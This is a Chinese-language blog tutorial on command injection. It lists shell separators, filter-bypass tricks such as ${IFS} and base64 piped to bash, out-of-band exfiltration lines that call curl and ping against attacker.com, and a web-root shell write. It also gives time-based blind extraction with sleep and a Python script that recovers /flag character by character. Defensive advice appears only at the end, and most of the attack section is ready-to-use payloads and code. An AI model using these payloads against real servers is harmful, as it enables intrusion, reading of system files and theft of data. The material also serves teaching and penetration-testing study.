命令注入(Command Injection)是 Web 安全领域最危险的漏洞类型之一。当应用程序将用户输入未经充分过滤便拼接到系统命令中执行时,攻击者便可能借此控制服务器。本文将从基础的分号绕过讲起,逐步深入到盲注场景下的时间延迟利用,结合实战思路帮助读者建立完整的攻击链认知。
一、漏洞原理回顾
命令注入的本质是用户输入跨越了数据与代码的边界。在 PHP、Java、Python 等语言中,system()、exec()、Runtime.exec() 等函数会调用操作系统 shell 执行命令。如果程序写成:
system("ping -c 1 " . $_GET['ip']);
那么攻击者传入 127.0.0.1; whoami 时,实际执行的就是两条命令。
二、命令分隔符:不只是分号
很多人以为命令注入只能靠分号,实际上不同 shell 和环境下可用分隔符非常丰富:
| 分隔符 | 说明 | 适用场景 |
|---|---|---|
; |
顺序执行,无论前一条是否成功 | Linux / macOS |
| ` | ` | 管道,前一条输出作为后一条输入 |
| ` | ` | |
& |
后台执行,两条都会执行 | Linux / Windows |
&& |
前一条成功才执行后一条 | Linux / Windows |
%0a |
换行符,URL 编码后绕过黑名单 | 多数场景 |
实战技巧:当目标过滤了分号时,可以尝试 %0a(换行)、%0d(回车)或 |。例如:
?ip=127.0.0.1%0awhoami
?ip=127.0.0.1|whoami
?ip=127.0.0.1||whoami
如果目标运行在 Windows 上,还可以使用 & 和 &&,PowerShell 环境下甚至可以用 ;。
三、常见绕过手法
1. 空格过滤
当空格被过滤时,可用以下替代:
${IFS}:Linux shell 内部字段分隔符$IFS$9:配合位置参数<重定向:cat<flag.txt%09:Tab 字符{cat,flag.txt}:Bash 花括号扩展
示例:
?ip=127.0.0.1;cat${IFS}/etc/passwd
?ip=127.0.0.1;cat</etc/passwd
2. 关键字过滤
如果 cat、whoami 等被 WAF 拦截,可以:
- 使用变量拼接:
a=ca;b=t;$a$b /etc/passwd - 使用通配符:
/bin/ca? /etc/passwd - 使用编码:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash - 使用反引号或
$():`whoami`或$(whoami)
3. 无回显场景
当命令执行结果不会返回给前端时,就进入了盲注阶段。常见利用方式包括:
- 外带数据(OOB):通过 DNS 或 HTTP 请求把结果带出来
?ip=127.0.0.1;curl http://attacker.com/$(whoami) ?ip=127.0.0.1;ping `whoami`.attacker.com - 写文件到 Web 目录:
echo "test" > /var/www/html/shell.php - 时间延迟:本文重点,见下一节
四、盲注时间延迟利用
当既没有回显,也无法外带数据(例如目标不出网)时,时间延迟是最后的武器。核心思路是:通过命令执行结果控制响应时间,从而逐字符推断信息。
1. Linux 下的 sleep
# 基本探测
?ip=127.0.0.1;sleep 5
# 条件判断:如果当前用户是 root,则延迟 5 秒
?ip=127.0.0.1;if [ $(whoami) = "root" ]; then sleep 5; fi
# 逐字符提取文件名
?ip=127.0.0.1;if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi
2. 无 sleep 命令时的替代
某些精简容器中没有 sleep,可以用:
ping -c 5 127.0.0.1:ping 自己 5 次read -t 5:等待输入 5 秒timeout 5 tail -f /dev/null
3. 自动化脚本思路
手工逐字符测试效率极低,实战中通常编写 Python 脚本:
import requests
import time
url = "http://target.com/ping.php"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for pos in range(1, 20):
for c in chars:
payload = f"127.0.0.1;if [ $(cat /flag | cut -c{pos}) = '{c}' ]; then sleep 3; fi"
start = time.time()
requests.get(url, params={"ip": payload})
elapsed = time.time() - start
if elapsed > 2.5:
result += c
print(result)
break
该脚本通过测量响应时间是否超过阈值来判断字符是否匹配,逐位还原出 /flag 的内容。
4. Windows 下的时间盲注
Windows 没有 sleep,但可以用 ping -n 或 timeout:
127.0.0.1 & ping -n 5 127.0.0.1 > nul
127.0.0.1 & timeout /t 5 > nul
条件判断则依赖 if:
127.0.0.1 & if exist C:\flag.txt ping -n 5 127.0.0.1 > nul
五、防御建议
理解了攻击手法,防御思路也就清晰了:
- 避免拼接命令:优先使用语言内置 API,如 PHP 的
filter_var校验 IP,Python 的subprocess列表参数模式。 - 白名单校验:对 IP、域名等输入使用严格正则,拒绝一切特殊字符。
- 转义处理:使用
escapeshellarg()/escapeshellcmd()(PHP)等函数。 - 最小权限:Web 服务以低权限用户运行,限制其可执行命令范围。
- WAF 与日志:部署规则拦截
;、|、$(等特征,并记录异常请求。
六、总结
命令注入的利用过程是一场与过滤规则的博弈。从最基础的分号拼接,到空格、关键字的层层绕过,再到无回显场景下的时间延迟盲注,每一步都考验着攻击者对操作系统和 shell 特性的理解。时间盲注虽然效率不高,但在“无回显、不出网”的苛刻条件下,往往成为突破防线的唯一路径。掌握这些技巧,不仅有助于渗透测试,更能帮助开发者在编码阶段就建立起足够的防御意识。
未经允许不得转载:任鹏个人博客 » 命令注入漏洞实战:从分号绕过到盲注时间延迟利用

